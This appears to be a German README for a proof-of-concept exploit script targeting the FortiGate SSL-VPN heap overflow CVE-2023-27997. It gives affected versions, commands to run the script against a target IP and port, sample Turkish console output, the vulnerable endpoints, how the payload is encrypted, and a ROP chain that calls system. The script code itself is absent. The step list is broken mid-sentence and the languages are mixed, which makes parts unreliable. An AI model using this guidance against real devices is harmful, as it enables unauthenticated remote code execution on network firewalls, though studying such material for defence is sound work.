
FortiGate SSL-VPN CVE-2023-27997 Exploit-PoC-Skript mit ROP Chain
FortiGate SSL‑VPN CVE‑2023‑27997 Exploit-PoC-Skript mit ROP Chain
fgt-cve-2023-27997-exploit.py ist ein Proof-of-Concept (PoC)-Exploit-Skript, das für die kritische Sicherheitslücke CVE‑2023‑27997 auf Fortinet-FortiGate-Geräten geschrieben wurde.
Die Schwachstelle beruht auf einem heap-basierten Pufferüberlauf, der eine Remote-Codeausführung (RCE) über die FortiOS-SSL-VPN-Oberfläche ohne Authentifizierung ermöglicht.
Arbeitsschritte des Skripts:
/remote/hostcheck_validate sendet.Achtung: Das Skript sollte nur in autorisierten Test- oder Laborumgebungen verwendet werden.
| Produkt | Versionen |
|---|---|
| FortiOS | 7.2.0 – 7.2.5 7.0.0 – 7.0.11 6.4.0 – 6.4.12 6.2.0 – 6.2.14 6.0.0 – 6.0.16 |
| FortiProxy | Zugehörige Versionen |
pip3 install -r requirements.txt
requirements.txt Inhalt:
requests urllib3
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
Beispiel:
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
| Argument | Beschreibung |
|---|---|
<TARGET_IP> | IP-Adresse des Ziel-FortiGate |
<TARGET_PORT> | SSL‑VPN-Port (Standard: 443 oder 10443) |
[*] FortiOS 7.0.5 CVE-2023-27997 ROP Chain Ping Exploit Başlatılıyor...
[+] Salt alındı: 749a2b77
[+] Enc parametresi oluşturuldu (1024 karakter)
[!] 500 Internal Server Error - Bellek taşması veya crash olabilir!
/remote/info --> salt değeri alınır
/remote/hostcheck_validate?enc=<payload> --> buffer overflow tetiklenir
enc wird mit dem XOR-Keystream verschlüsselt, der aus der Kombination salt + seed erzeugt wird.| Schritt | Gadget | Beschreibung |
|---|
| 1 | pop rdi ; ret | Lädt die Befehlsadresse in RDI |
| 2 | system@plt | Führt den Befehl aus |
| – | 0xdeadbeefdeadbeef | Platzhalter; die echte Adresse muss im Labor ermittelt werden |
Dieses PoC ist so konzipiert, dass es in einer kontrollierten Testumgebung ohne Heap-Grooming funktioniert.